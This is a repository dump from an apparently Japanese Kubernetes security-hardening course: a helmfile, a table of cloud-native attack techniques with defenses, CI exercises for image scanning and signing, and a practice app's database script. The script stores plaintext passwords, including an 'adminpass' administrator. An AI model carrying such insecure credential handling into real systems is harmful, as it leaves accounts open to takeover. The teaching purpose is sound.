31 | # External Secrets Operator用のポリシー作成
32 | vault policy write external-secrets-policy - <ヒント: VAPの実装例
26 |
27 | `app` キーのラベルを持たない Pod の作成を拒否するVAP ポリシーを適用。
28 |
29 | ```bash
30 | kubectl apply -f - <
150 |
--------------------------------------------------------------------------------
/00_setup/k8s/helm/helmfile.yaml:
--------------------------------------------------------------------------------
1 | repositories:
2 | - name: cilium
3 | url: https://helm.cilium.io
4 | - name: ingress-nginx
5 | url: https://kubernetes.github.io/ingress-nginx
6 | - name: metrics-server
7 | url: https://kubernetes-sigs.github.io/metrics-server/
8 | - name: gitlab
9 | url: https://charts.gitlab.io/
10 | - name: argo
11 | url: https://argoproj.github.io/argo-helm
12 | - name: harbor
13 | url: https://helm.goharbor.io
14 | - name: jetstack
15 | url: https://charts.jetstack.io
16 | - name: grafana
17 | url: https://grafana.github.io/helm-charts
18 | - name: open-telemetry
19 | url: https://open-telemetry.github.io/opentelemetry-helm-charts
20 | # - name: hashicorp
21 | # url: https://helm.releases.hashicorp.com
22 | # - name: external-secrets
23 | # url: https://charts.external-secrets.io
24 |
25 | releases:
26 | - name: cilium
27 | namespace: kube-system
28 | chart: cilium/cilium
29 | version: 1.17.6
30 | labels:
31 | app: cilium
32 | values:
33 | - values/cilium.values.yaml
34 |
35 | - name: ingress-nginx
36 | namespace: ingress-nginx
37 | chart: ingress-nginx/ingress-nginx
38 | version: 4.10.1
39 | labels:
40 | app: ingress-nginx
41 | values:
42 | - values/ingress-nginx.values.yaml
43 | needs:
44 | - kube-system/cilium
45 |
46 | - name: metrics-server
47 | namespace: kube-system
48 | chart: metrics-server/metrics-server
49 | version: 3.13.0
50 | labels:
51 | app: metrics-server
52 | values:
53 | - values/metrics-server.values.yaml
54 | needs:
55 | - kube-system/cilium
56 |
57 | - name: tetragon
58 | namespace: kube-system
59 | chart: cilium/tetragon
60 | version: 1.4.1
61 | labels:
62 | app: tetragon
63 | values:
64 | - values/tetragon.values.yaml
65 | needs:
66 | - kube-system/cilium
67 |
68 | - name: argocd
69 | namespace: argocd
70 | chart: argo/argo-cd
71 | version: 8.1.4
72 | labels:
73 | app: argocd
74 | values:
75 | - values/argocd.values.yaml
76 | needs:
77 | - kube-system/cilium
78 |
79 | - name: gitlab
80 | namespace: gitlab
81 | chart: gitlab/gitlab
82 | version: 9.2.0
83 | labels:
84 | app: gitlab
85 | values:
86 | - values/gitlab.values.yaml
87 | needs:
88 | - kube-system/cilium
89 |
90 | - name: harbor
91 | namespace: harbor
92 | chart: harbor/harbor
93 | version: 1.17.1
94 | labels:
95 | app: harbor
96 | values:
97 | - values/harbor.values.yaml
98 | needs:
99 | - kube-system/cilium
100 |
101 | - name: cert-manager
102 | namespace: cert-manager
103 | chart: jetstack/cert-manager
104 | version: v1.18.2
105 | labels:
106 | app: cert-manager
107 | values:
108 | - values/cert-manager.values.yaml
109 | needs:
110 | - kube-system/cilium
111 |
112 | - name: grafana
113 | namespace: monitoring
114 | chart: grafana/grafana
115 | version: 9.2.10
116 | labels:
117 | app: grafana
118 | values:
119 | - values/grafana.values.yaml
120 | needs:
121 | - kube-system/cilium
122 |
123 | - name: loki
124 | namespace: monitoring
125 | chart: grafana/loki
126 | version: 6.32.0
127 | labels:
128 | app: loki
129 | values:
130 | - values/loki.values.yaml
131 | needs:
132 | - kube-system/cilium
133 |
134 | - name: k8s-event-exporter
135 | namespace: monitoring
136 | chart: open-telemetry/opentelemetry-collector
137 | version: 0.128.0
138 | labels:
139 | app: k8s-event-exporter
140 | values:
141 | - values/k8s-event-exporter.values.yaml
142 | needs:
143 | - kube-system/cilium
144 |
145 | # - name: openclarity
146 | # namespace: openclarity
147 | # chart: oci://ghcr.io/openclarity/charts/openclarity
148 | # version: 1.1.3
149 | # labels:
150 | # app: openclarity
151 | # values:
152 | # - values/openclarity.values.yaml
153 | # needs:
154 | # - kube-system/cilium
155 |
156 | - name: promtail
157 | namespace: monitoring
158 | chart: grafana/promtail
159 | version: 6.17.0
160 | labels:
161 | app: promtail
162 | values:
163 | - values/promtail.values.yaml
164 | needs:
165 | - kube-system/cilium
166 |
167 | # - name: vault
168 | # namespace: vault
169 | # chart: hashicorp/vault
170 | # version: 0.30.1
171 | # labels:
172 | # app: vault
173 | # values:
174 | # - values/vault.values.yaml
175 | # needs:
176 | # - kube-system/cilium
177 |
178 | # - name: external-secrets
179 | # namespace: external-secrets-system
180 | # chart: external-secrets/external-secrets
181 | # version: 0.19.1
182 | # labels:
183 | # app: external-secrets
184 | # values:
185 | # - values/external-secrets.values.yaml
186 | # needs:
187 | # - kube-system/cilium
188 | # - vault/vault
189 |
--------------------------------------------------------------------------------
/03_security_assessment/threat_lits.md:
--------------------------------------------------------------------------------
1 | # 参考: クラウドネイティブ環境の脅威と対策
2 |
3 | | レイヤー | 脅威 | 攻撃テクニック | セキュリティ対策 |
4 | | :--- | :--- | :--- | :--- |
5 | | **Reconnaissance (偵察)** | Active Scanning | ポートスキャナーを使い、公開されているポートからアプリケーションやKubernetesコンポーネント、コンテナAPIなどを探索する。 | アプリケーション、Kubernetesクラスタ、VMへのネットワークアクセスを制限する。WAF(Web Application Firewall)で悪意のあるトラフィックを検知・遮断する。 |
6 | | | Search Open Websites/Domains | 公開されたコードリポジトリから、誤って保存された認証情報などを探索する。 | Vaultなどのツールを利用して機密情報を保護し、コードリポジトリへの漏洩を防止する。 |
7 | | **Initial Access (初期アクセス)** | Exploit Public-Facing Application | アプリケーションやクラスタコンポーネント、外部サービスの脆弱性を悪用して侵入する。 | SAST/DAST、SCA、コンテナイメージスキャンによる脆弱性検出。クラスタコンポーネントの迅速なアップデート。コンテナレジストリやコードリポジトリのアクセス制限を適切に行う。 |
8 | | | External Remote Services | 誤設定により公開されたコンテナAPIやKubernetesクラスタコンポーネント、VMの公開ポートを通じて不正アクセスする。 | ネットワークポリシーによるアクセス制限。コンテナ専用OSの利用。定期的なクラスタ状態の診断。 |
9 | | | Supply Chain Compromise | 依存ライブラリやコンテナイメージ、マニフェストファイルに悪意のあるコードを埋め込み、サプライチェーンを侵害して侵入する。 | SBOMを活用した依存関係の管理と脆弱性検出。コンテナイメージの署名と検証。Admission Controlによるデプロイの制限。 |
10 | | | Valid Accounts | 漏洩したアプリケーションやKubernetesクラスタの正規認証情報を悪用して侵入する。 | ネットワークアクセス制限。監査ログによる異常なアクセスの検知。 |
11 | | **Execution (実行)** | Container Administration Command | DockerやKubernetesの管理コマンドを悪用し、コンテナ内で悪意のあるコードを実行する。 | ユーザーに付与する権限を最小限に制限する。 |
12 | | | Deploy Container / Schedule Task/Job | 攻撃ツールを含むコンテナや、悪意のあるコードを実行するCronJobをデプロイする。 | Admission Controlによるポリシー違反のコンテナ作成禁止。コンテナイメージの署名と検証。 |
13 | | | User Execution | 悪意のあるコードが埋め込まれたコンテナイメージを利用者に実行させる。 | コンテナイメージの署名と検証を行う。 |
14 | | **Persistence (永続化)** | Account Manipulation / Create Account | 盗んだ認証情報でアカウントを不正操作し、アクセスを維持する。または、新規ユーザーを作成する。 | 権限の最小化。Kubernetesの監査ログによる異常なアクティビティの検知。 |
15 | | | Create or Modify System Process / Schedule Task/Job | DaemonsetやCronJobを利用して、悪意のあるコンテナをデプロイし、実行を永続化する。 | Admission Controlによるポリシー違反のコンテナ作成禁止。コンテナイメージの署名と検証。監査ログによる異常なアクティビティの検知。 |
16 | | | External Remote Services | 侵害したコンテナから外部の悪意のあるサーバーに接続し、コマンド受信やデータ窃取を行う。 | CNIプラグインのネットワークポリシーで外部への通信を制限する。 |
17 | | | Implant Internal Image | コンテナイメージに悪意のあるコードを埋め込み、アクセスの永続性を確保する。 | コンテナイメージの署名と検証を行う。 |
18 | | | Valid Accounts | 盗んだ正規の認証情報を悪用し、バックドアアカウント作成や悪意のあるコンテナをデプロイすることで永続性を確保する。 | ネットワークアクセス制限と監査ログによる異常なアクセスの検知。 |
19 | | **Privilege Escalation (権限昇格)** | Account Manipulation / Exploitation for Privilege Escalation | 盗んだ認証情報でロールを変更したり、過剰な権限を持つサービスアカウントを悪用して権限を昇格させる。 | 権限の最小化。Kubernetesの監査ログによる異常なアクティビティの検知。定期的なクラスタ状態のスキャン。 |
20 | | | Create or Modify System Process | コンテナ内の脆弱性を悪用してrootユーザーに昇格する。 | クラスタ内のコンテナの脆弱性管理。ランタイムセキュリティツールによるシステムコールの監視。 |
21 | | | Escape to Host | hostPathや特権コンテナ、コンテナランタイムの脆弱性を悪用して、コンテナからホストへ脱出する。 | Admission Controlによるポリシー違反のコンテナ作成禁止。gvisorなどの分離レベルが高いランタイムの導入。seccomp/Apparmorによる強制アクセス制御。コンテナ専用OSの利用。 |
22 | | | Valid Accounts | 侵入したコンテナのサービスアカウント権限を悪用し、クラスタロールを作成または取得して権限を昇格させる。 | 権限の最小化。ネットワークアクセス制限。監査ログによる異常なアクティビティの検知。 |
23 | | **Defense Evasion (防御回避)** | Build Image on Host | ホスト上で悪意のあるコンテナイメージをビルドし、イメージ署名検証を回避する。 | ホストの監査ログやネットワークトラフィックの監視で異常なアクティビティを検知する。 |
24 | | | Deploy Container / Impair Defenses / Indicator Removal | 脆弱なコンテナの作成、監視システムの無効化、ログの削除により防御策を回避する。 | 権限の最小化。Admission Controlによるポリシー違反のコンテナ作成禁止。コンテナイメージの署名と検証。外部ログ管理システムによるログ保護。監査ログによる異常なアクティビティの検知。 |
25 | | | Obfuscated Files or Information / Masquerading | 悪意のあるコードを難読化したり、正規のアカウントやプロセスに偽装したりして検知を回避する。 | ランタイムセキュリティツールによるシステムコールの監視で、異常なアクティビティを検知する。 |
26 | | | Use Alternate Authentication Material / Valid Accounts / Subvert Trust Controls | 代替認証情報や正規の認証情報を悪用したり、改ざんによって認証を回避したりして、セキュリティツールによる検知を免れる。 | Kubernetesクラスタへのネットワークアクセス制限。監査ログによる不審なアクティビティの検知。ランタイムセキュリティツールによるシステムコールの監視。 |
27 | | **Credential Access (認証情報へのアクセス)** | Brute Force | 総当たり攻撃で認証を突破する。 | WAFによる悪意のあるトラフィックの検知。監査ログやアクセスログによる多数のログイン試行の検知。 |
28 | | | Steal Application Access Token | 外部サービスの認証情報やコンテナに付与されたサービスアカウントトークンを窃取する。 | 権限の最小化。Kubernetesやクラウドの監査ログによる異常なアクティビティの検知。 |
29 | | | Unsecured Credentials | Kubernetesやコンテナ内のローカルファイルに保存された機密情報を窃取する。 | 権限の最小化。Vaultなどのツールで機密情報を保護する。Distrolessコンテナの利用や、seccomp/Apparmorによる強制アクセス制御。 |
30 | | **Discovery (探索)** | Container and Resource Discovery | Kubernetes APIを悪用し、他のリソース(PodやSecretなど)の情報を収集する。 | Kubernetesの監査ログで異常なアクティビティを検知する。 |
31 | | | Network Service Discovery | 侵入したコンテナからクラスタ内のネットワークスキャンを行う。 | CNIプラグインのネットワークポリシーでアクセスを制限する。 |
32 | | | Permission Groups Discovery | kubectl auth can-iなどの管理コマンドを使い、特権を持つアカウントを調査する。 | 監査ログで異常なアクティビティを検知する。 |
33 | | **Lateral Movement (水平展開)** | Use Alternate Authentication Material | 盗んだ代替認証情報を悪用し、他のアカウントやサービスに侵入する。 | ユーザーやPodに付与する外部サービスの権限を最小限に制限する。クラウドの監査ログで異常なアクティビティを検知する。 |
34 | | | Lateral Tool Transfer | 侵入したコンテナから、別のコンテナやノードに攻撃ツールを転送する。 | CNIプラグインのネットワークポリシーでアクセスを制限する。ランタイムセキュリティツールで異常なアクティビティを検知する。 |
35 | | **Collection (情報収集)** | Data from Cloud Storage | 認証情報を窃取し、クラウドストレージから機密情報を収集する。 | クラウドの監査ログで異常なアクティビティを検知する。データの暗号化。ネットワークアクセス制限。 |
36 | | | Data from Information Repositories | 盗んだ資格情報を悪用し、コードリポジトリやコンテナレジストリから機密情報を収集する。 | 権限の最小化。機密情報の保護。ネットワークアクセス制限。監査ログによる異常なアクティビティの検知。 |
37 | | | Data from Configuration Repository | サービスアカウントを悪用し、KubernetesクラスタからSecretなどの機密情報を収集する。または、コンテナからホストへ侵入し、kubeletの資格情報などを悪用して情報を取得する。 | 権限の最小化。Vaultなどのツールで機密情報を保護。Kubernetesの監査ログによる異常なアクティビティの検知。etcdの適切なセキュリティ設定。分離レベルの高いランタイムの導入。強制アクセス制御。コンテナ専用OSの利用。 |
38 | | **Command and Control (C2)** | Proxy | 侵害したコンテナをプロキシ化し、外部との通信を中継する。 | ネットワーク監視ツールでEgress通信を監視する。強制アクセス制御やランタイムセキュリティツールによるシステムコールの監視。 |
39 | | **Exfiltration (データ持ち出し)** | Exfiltration Over Alternative Protocol | DNSクエリなど、別のプロトコルを利用してデータを外部に流出させる。 | ランタイムセキュリティツールによるシステムコールの監視。強制アクセス制御。ネットワーク監視ツールによる異常なアクティビティの検知。 |
40 | | | Transfer Data to Cloud Account | ログやバックアップの転送先を、攻撃者が保有するアカウントに変更する。 | クラウドの監査ログで異常なアクティビティを検知する。 |
41 | | **Impact (影響)** | Data Destruction | DBやストレージのデータを削除する。 | 外部ストレージサービスでバックアップデータを管理する。 |
42 | | | Endpoint Denial of Service | DoS攻撃でリソースを枯渇させたり、リソースを削除したりしてサービスを妨害する。 | WAFで悪意のあるトラフィックを検知・遮断。Resource Quotaでリソース利用を制限。SAST/DASTで脆弱性を検出。権限の最小化。監査ログによる異常なアクティビティの検知。データのバックアップ。 |
43 | | | Network Denial of Service | DDoS攻撃でネットワーク帯域を飽和させ、通信を遮断する。 | Ingress controllerのrate limit機能などで、悪意のあるトラフィックを検知・遮断する。 |
44 | | | Inhibit System Recovery | バックアップデータや永続データを削除し、システム復旧を妨害する。 | 外部サービスを利用してバックアップデータを管理する。 |
45 |
--------------------------------------------------------------------------------
/04_hardening/trainings/image_security.md:
--------------------------------------------------------------------------------
1 | # イメージセキュリティ
2 |
3 | ## 課題1: コンテナイメージの脆弱性調査と修正
4 |
5 | 現在使用されているコンテナイメージには、既知の脆弱性が含まれている可能性があります。
6 |
7 | ### ステップ
8 | 1. アプリケーション(frontend, backend, db)のコンテナイメージの脆弱性スキャンを実施してください
9 | 2. ベースイメージのバージョンアップによって解決できる脆弱性を修正してください
10 | 3. DBイメージの脆弱性を解消する方法を検討してください
11 | 4. 修正前後での脆弱性数を比較してください
12 | 5. アプリケーションが修正後のイメージで正常に動作することを確認してください
13 |
14 | ## 課題2: Distrolessイメージへの移行
15 |
16 | 現在のイメージには不要なパッケージやツールが含まれており、攻撃対象領域が大きくなっています。
17 |
18 | ### ステップ
19 | 1. アプリケーションをDistrolessベースイメージに移行してください
20 | 2. 移行前後でのイメージサイズと脆弱性数の変化を比較してください
21 | 3. アプリケーションが修正後のイメージで正常に動作することを確認してください
22 |
23 | ## 課題3: CIでの自動脆弱性スキャン
24 |
25 | 開発サイクルの中で継続的にセキュリティを確保するため、CI/CDパイプラインに脆弱性スキャンを組み込む必要があります。
26 |
27 | ### ステップ
28 | 1. CIパイプラインにTrivyによる脆弱性スキャンを組み込んでください
29 | 2. スキャン結果のレポートを後から見れるように出力してください
30 | 3. **[発展]** 脆弱性が検出された場合のビルド失敗条件を検討してください
31 |
32 | ## 課題4: イメージ署名と検証の実装
33 |
34 | コンテナイメージの改ざんや不正なイメージの実行を防ぐため、イメージ署名と検証機能を導入する必要があります。
35 |
36 | ### ステップ
37 | 1. Cosignを使用してCIパイプラインでコンテナイメージに署名してください
38 | 2. Harbor レジストリで署名のないイメージのプルを禁止する設定を行ってください
39 | 3. **[発展]** 署名キーの管理を検討してください
40 |
41 | 解答例: CIパイプラインでの脆弱性スキャン・イメージ署名の実装
42 |
43 | ```yaml
44 | stages:
45 | - build
46 | - security-scan
47 | - push
48 | - sign
49 |
50 | variables:
51 | HARBOR_REGISTRY: harbor.seccamp.com
52 | HARBOR_PROJECT: seccamp2025
53 | IMAGE_NAME: $HARBOR_REGISTRY/$HARBOR_PROJECT/seccamp-backend
54 | DOCKER_CONFIG: /kaniko/.docker/
55 |
56 | build-image:
57 | stage: build
58 | image:
59 | name: gcr.io/kaniko-project/executor:debug
60 | script:
61 | - /kaniko/executor --context $CI_PROJECT_DIR --dockerfile $CI_PROJECT_DIR/Dockerfile --tarPath image.tar --no-push --ignore-path /product_uuid
62 | artifacts:
63 | paths:
64 | - image.tar
65 | expire_in: 2 hours
66 | only:
67 | - main
68 |
69 | build-image-tag:
70 | stage: build
71 | image:
72 | name: gcr.io/kaniko-project/executor:debug
73 | script:
74 | - /kaniko/executor --context $CI_PROJECT_DIR --dockerfile $CI_PROJECT_DIR/Dockerfile --tarPath image.tar --no-push --ignore-path /product_uuid
75 | artifacts:
76 | paths:
77 | - image.tar
78 | expire_in: 2 hours
79 | only:
80 | - tags
81 |
82 | trivy-scan:
83 | stage: security-scan
84 | image:
85 | name: aquasec/trivy:latest
86 | entrypoint: [""]
87 | script:
88 | - trivy image --exit-code 0 --format table --input image.tar
89 | # 重要度HIGH以上の脆弱性でCI/CDを失敗させる(本格運用時は有効化)
90 | # - trivy image --exit-code 1 --severity HIGH,CRITICAL --input image.tar
91 | - trivy image --format json --output trivy-report.json --input image.tar
92 | artifacts:
93 | reports:
94 | container_scanning: trivy-report.json
95 | paths:
96 | - trivy-report.json
97 | expire_in: 1 week
98 | rules:
99 | - if: $CI_COMMIT_REF_NAME == "main"
100 | needs: ["build-image"]
101 | - if: $CI_COMMIT_TAG
102 | needs: ["build-image-tag"]
103 |
104 | push-image:
105 | stage: push
106 | image:
107 | name: quay.io/skopeo/stable:latest
108 | entrypoint: [""]
109 | script:
110 | - |
111 | cat > /tmp/auth.json < /tmp/auth.json <
207 |
208 | ## 課題5: 実行環境のイメージ脆弱性管理
209 |
210 | Openclarity を使い、実行環境で実際に動作しているコンテナのイメージ脆弱性を確認してみましょう。
211 |
212 | ### ステップ
213 | 1. helmfileのコメントアウトを外し、Openclarity をhelmfileでインストールします
214 | 2. ブラウザから Openclarity のWeb UIにアクセスし、イメージ脆弱性のスキャンを実施します
215 |
216 | ```bash
217 | cd /root/helm
218 | helmfile sync --selector app=openclarity
219 |
220 | # ブラウザからアクセス
221 | https://openclarity.seccamp.com:8082
222 | ```
223 |
--------------------------------------------------------------------------------
/app/db/init-english.sql:
--------------------------------------------------------------------------------
1 | USE seccamp2025;
2 |
3 | -- MariaDB initialization SQL
4 | -- User information table
5 | CREATE TABLE IF NOT EXISTS users (
6 | id INT AUTO_INCREMENT PRIMARY KEY,
7 | username VARCHAR(64) UNIQUE NOT NULL,
8 | full_name VARCHAR(128),
9 | password VARCHAR(256) NOT NULL,
10 | is_admin BOOLEAN DEFAULT FALSE
11 | );
12 |
13 | -- Learning content information table
14 | CREATE TABLE IF NOT EXISTS courses (
15 | id INT AUTO_INCREMENT PRIMARY KEY,
16 | title VARCHAR(128) NOT NULL,
17 | description TEXT
18 | );
19 |
20 | -- Learning progress table (with composite unique constraint)
21 | CREATE TABLE IF NOT EXISTS progress (
22 | id INT AUTO_INCREMENT PRIMARY KEY,
23 | user_id INT NOT NULL,
24 | course_id INT NOT NULL,
25 | percent INT DEFAULT 0,
26 | updated_at DATETIME,
27 | FOREIGN KEY (user_id) REFERENCES users(id),
28 | FOREIGN KEY (course_id) REFERENCES courses(id),
29 | UNIQUE KEY user_course_unique (user_id, course_id)
30 | );
31 |
32 | -- Sample data insertion SQL
33 | -- User sample data
34 | INSERT INTO users (username, full_name, password, is_admin) VALUES
35 | ('sato', 'Taro Sato', 'pass1', FALSE),
36 | ('suzuki', 'Hanako Suzuki', 'pass2', FALSE),
37 | ('takahashi', 'Kenichi Takahashi', 'pass3', FALSE),
38 | ('tanaka', 'Yumi Tanaka', 'pass4', FALSE),
39 | ('watanabe', 'Shota Watanabe', 'pass5', FALSE),
40 | ('ito', 'Misaki Ito', 'pass6', FALSE),
41 | ('yamamoto', 'Yuto Yamamoto', 'pass7', FALSE),
42 | ('nakamura', 'Ayaka Nakamura', 'pass8', FALSE),
43 | ('kobayashi', 'Naoto Kobayashi', 'pass9', FALSE),
44 | ('kato', 'Emi Kato', 'pass10', FALSE),
45 | ('yoshida', 'Takumi Yoshida', 'pass11', FALSE),
46 | ('yamada', 'Saori Yamada', 'pass12', FALSE),
47 | ('sasaki', 'Ryosuke Sasaki', 'pass13', FALSE),
48 | ('yamaguchi', 'Mayumi Yamaguchi', 'pass14', FALSE),
49 | ('matsumoto', 'Tomoya Matsumoto', 'pass15', FALSE),
50 | ('inoue', 'Chihiro Inoue', 'pass16', FALSE),
51 | ('kimura', 'Daisuke Kimura', 'pass17', FALSE),
52 | ('hayashi', 'Miwa Hayashi', 'pass18', FALSE),
53 | ('shimizu', 'Kazuya Shimizu', 'pass19', FALSE),
54 | ('saito', 'Kaori Saito', 'pass20', FALSE),
55 | ('admin', 'Administrator', 'adminpass', TRUE);
56 |
57 | -- Course sample data
58 | INSERT INTO courses (title, description) VALUES
59 | -- Basic/Introduction Courses (1-10)
60 | ('Python Introduction', 'Learn the basics of Python programming'),
61 | ('Kubernetes Fundamentals', 'Learn the fundamentals of Kubernetes'),
62 | ('Go Language Introduction', 'Learn the basics of Go programming language'),
63 | ('React Introduction', 'Learn the basics of React development'),
64 | ('Security Fundamentals', 'Learn the fundamentals of cybersecurity'),
65 | ('Linux Introduction', 'Learn the basics of Linux operating system'),
66 | ('Cloud Fundamentals', 'Learn the fundamentals of cloud technologies'),
67 | ('Network Fundamentals', 'Learn the basics of computer networking'),
68 | ('Docker Introduction', 'Learn the basics of Docker containerization'),
69 | ('CI/CD Introduction', 'Learn the basics of Continuous Integration and Deployment'),
70 |
71 | -- Intermediate Courses (11-20)
72 | ('Python Web Development', 'Build web applications using Django and Flask'),
73 | ('Kubernetes Operations', 'Advanced Kubernetes cluster management and operations'),
74 | ('Go Microservices', 'Build scalable microservices with Go'),
75 | ('React State Management', 'Advanced React patterns with Redux and Context API'),
76 | ('Penetration Testing', 'Learn ethical hacking and vulnerability assessment'),
77 | ('Linux System Administration', 'Advanced Linux server management and automation'),
78 | ('AWS Cloud Architecture', 'Design and implement AWS cloud solutions'),
79 | ('Network Security', 'Implement network security measures and protocols'),
80 | ('Docker Orchestration', 'Container orchestration with Docker Swarm'),
81 | ('DevOps Pipeline Design', 'Design and implement comprehensive DevOps pipelines'),
82 |
83 | -- Advanced Courses (21-30)
84 | ('Python Machine Learning', 'Advanced ML algorithms and data science with Python'),
85 | ('Kubernetes Security', 'Advanced security practices for Kubernetes clusters'),
86 | ('Go Performance Optimization', 'High-performance Go applications and profiling'),
87 | ('React Native Development', 'Cross-platform mobile development with React Native'),
88 | ('Advanced Threat Hunting', 'Advanced cybersecurity threat detection and analysis'),
89 | ('Linux Kernel Development', 'Understanding and modifying the Linux kernel'),
90 | ('Multi-Cloud Architecture', 'Design solutions across multiple cloud providers'),
91 | ('Network Protocol Analysis', 'Deep dive into network protocols and traffic analysis'),
92 | ('Kubernetes Custom Resources', 'Develop custom controllers and operators'),
93 | ('Infrastructure as Code', 'Advanced Terraform and infrastructure automation'),
94 |
95 | -- Expert/Specialized Courses (31-35)
96 | ('AI/ML System Design', 'Design and deploy production ML systems at scale'),
97 | ('Cloud Native Security', 'Comprehensive security for cloud-native applications'),
98 | ('Distributed Systems Architecture', 'Design highly scalable distributed systems'),
99 | ('Blockchain Development', 'Smart contract development and DeFi applications'),
100 | ('Quantum Computing Fundamentals', 'Introduction to quantum algorithms and computing');
101 |
102 | -- Learning progress sample data (expanded with advanced courses)
103 | INSERT INTO progress (user_id, course_id, percent, updated_at) VALUES
104 | -- Basic users starting with fundamentals
105 | (1, 1, 50, NOW()), (1, 2, 0, NOW()), (1, 3, 100, NOW()),
106 | (2, 1, 80, NOW()), (2, 2, 20, NOW()), (2, 3, 0, NOW()),
107 | (3, 1, 0, NOW()), (3, 2, 0, NOW()), (3, 3, 0, NOW()),
108 |
109 | -- Advanced users with multiple completed courses
110 | (4, 1, 100, NOW()), (4, 2, 100, NOW()), (4, 3, 100, NOW()),
111 | (4, 11, 75, NOW()), (4, 12, 50, NOW()), (4, 21, 25, NOW()),
112 |
113 | -- Intermediate users progressing through different paths
114 | (5, 1, 10, NOW()), (5, 2, 30, NOW()), (5, 3, 60, NOW()),
115 | (6, 5, 100, NOW()), (6, 15, 80, NOW()), (6, 25, 40, NOW()),
116 | (7, 6, 100, NOW()), (7, 16, 60, NOW()), (7, 26, 20, NOW()),
117 | (8, 7, 100, NOW()), (8, 17, 90, NOW()), (8, 27, 70, NOW()),
118 |
119 | -- DevOps focused learning path
120 | (9, 9, 100, NOW()), (9, 10, 100, NOW()), (9, 19, 85, NOW()),
121 | (9, 20, 65, NOW()), (9, 29, 45, NOW()), (9, 30, 25, NOW()),
122 |
123 | -- Security focused learning path
124 | (10, 5, 100, NOW()), (10, 15, 100, NOW()), (10, 25, 90, NOW()),
125 | (10, 18, 75, NOW()), (10, 32, 50, NOW()),
126 |
127 | -- Full-stack development path
128 | (11, 1, 100, NOW()), (11, 4, 100, NOW()), (11, 11, 80, NOW()),
129 | (11, 14, 60, NOW()), (11, 24, 40, NOW()),
130 |
131 | -- Cloud architecture specialists
132 | (12, 7, 100, NOW()), (12, 17, 100, NOW()), (12, 27, 85, NOW()),
133 | (12, 30, 70, NOW()), (12, 32, 30, NOW()),
134 |
135 | -- Machine Learning enthusiasts
136 | (13, 1, 100, NOW()), (13, 21, 90, NOW()), (13, 31, 60, NOW()),
137 |
138 | -- Emerging technology explorers
139 | (14, 34, 80, NOW()), (14, 35, 40, NOW()),
140 |
141 | -- Comprehensive learners
142 | (15, 1, 100, NOW()), (15, 5, 100, NOW()), (15, 7, 100, NOW()),
143 | (15, 11, 90, NOW()), (15, 15, 80, NOW()), (15, 17, 70, NOW()),
144 | (15, 21, 60, NOW()), (15, 25, 50, NOW()), (15, 27, 40, NOW());
145 |
--------------------------------------------------------------------------------
/01_scenario/README.md:
--------------------------------------------------------------------------------
1 | # 1章 シナリオ説明
2 |
3 | - [1章 シナリオ説明](#1章-シナリオ説明)
4 | - [1. シナリオ概要](#1-シナリオ概要)
5 | - [2. 無敗塾の現在の状況](#2-無敗塾の現在の状況)
6 | - [2.1 事業の成長と課題](#21-事業の成長と課題)
7 | - [2.2 システムアーキテクチャ](#22-システムアーキテクチャ)
8 | - [2.3 アプリケーション機能](#23-アプリケーション機能)
9 | - [2.4 セキュリティ上の重要データ](#24-セキュリティ上の重要データ)
10 | - [個人情報](#個人情報)
11 | - [認証・認可情報](#認証認可情報)
12 | - [ビジネス機密情報](#ビジネス機密情報)
13 | - [将来的に扱う予定の法人データ](#将来的に扱う予定の法人データ)
14 | - [2.5 技術スタック](#25-技術スタック)
15 | - [2.6 現在のセキュリティ成熟度](#26-現在のセキュリティ成熟度)
16 | - [3. インフラエンジニアとしての役割](#3-インフラエンジニアとしての役割)
17 | - [3.1 引き継ぎ状況と前任者のメモ](#31-引き継ぎ状況と前任者のメモ)
18 | - [4. 組織・チーム体制](#4-組織チーム体制)
19 | - [5. 演習環境の説明](#5-演習環境の説明)
20 | - [5.1 提供される環境](#51-提供される環境)
21 | - [5.2 アクセス情報](#52-アクセス情報)
22 | - [5.3 前任者からの引き継ぎドキュメント](#53-前任者からの引き継ぎドキュメント)
23 | - [5.4 トラブルシューティング](#54-トラブルシューティング)
24 | - [次のステップ](#次のステップ)
25 |
26 | ## 1. シナリオ概要
27 |
28 | 皆さんは、株式会社無敗塾(Muhai Juku Inc.)のITインフラ管理部門に新たに配属されたインフラエンジニアです。無敗塾は、学生向けオンライン学習サービス「無敗塾」を主力事業として急成長中のEdTechスタートアップです。
29 |
30 | **近年、法人顧客からの引き合いが増加しており、「無敗ラーニング」という法人向けサービスの展開も計画されています。** しかし、法人顧客からは厳格なセキュリティ要件を求められており、現在の「無敗塾」のセキュリティ体制では対応が困難な状況です。
31 |
32 | 前任のインフラエンジニアが退職することになり、現在はドキュメントベースでの引き継ぎが行われています。経営陣からは「**法人展開に向けて、まずは主力サービスの無敗塾のセキュリティを確実に強化してほしい**」という指示が出ています。
33 |
34 | ITインフラの中心にはKubernetesクラスタがあり、「無敗塾」アプリケーションが稼働していますが、これまでは機能実装とスピードを優先してきたため、**セキュリティ対策が後回しになっている**状況です。
35 |
36 | 皆さんのミッションは、限られた時間とリソースの中で、法人展開に耐えうるセキュリティレベルを実現することです。
37 |
38 | ## 2. 無敗塾の現在の状況
39 |
40 | ### 2.1 事業の成長と課題
41 |
42 | 無敗塾は急速な成長を遂げている学習プラットフォームです。
43 |
44 | **無敗塾(学生向け主力サービス)**:
45 | - 創業時からの主力サービス
46 | - 学習管理システム、進捗追跡、成績評価機能
47 | - ユーザー数: 約5万人
48 | - 現在もユーザー数が急増中
49 |
50 | **将来計画**:
51 | - **無敗ラーニング(法人向けサービス)**: 来年度の展開を予定
52 | - 法人顧客からの強い要望があり、大きなビジネスチャンス
53 | - ただし、法人顧客は厳格なセキュリティ要件を要求
54 |
55 | **経営陣からのメッセージ**:
56 | > 「無敗ラーニングの法人展開は当社の成長戦略の要です。法人顧客は個人向けよりも高いセキュリティレベルを期待しています。現在のプラットフォームでは技術的な不安要素が多すぎます。まず無敗塾の**技術基盤を確実に強化**してください。」
57 |
58 | ### 2.2 システムアーキテクチャ
59 | ```
60 | ┌──────────────────────────────────────────────────────┐
61 | │ 外部ユーザー │
62 | │ (学生・社会人・法人管理者) │
63 | └────────────────────┬─────────────────────────────────┘
64 | │ HTTPS
65 | │
66 | ┌────────────────────┴─────────────────────────────────┐
67 | │ │ Kubernetes Cluster │
68 | │ ┌─────────────────┴─────────────────────────────┐ │
69 | │ │ Ingress Controller │ │
70 | │ └─────────────────┬─────────────────────────────┘ │
71 | │ │ HTTP │
72 | │ ┌─────────────────┴─────────────────────────────┐ │
73 | │ │ Frontend │ │
74 | │ │ (React/TS) │ │
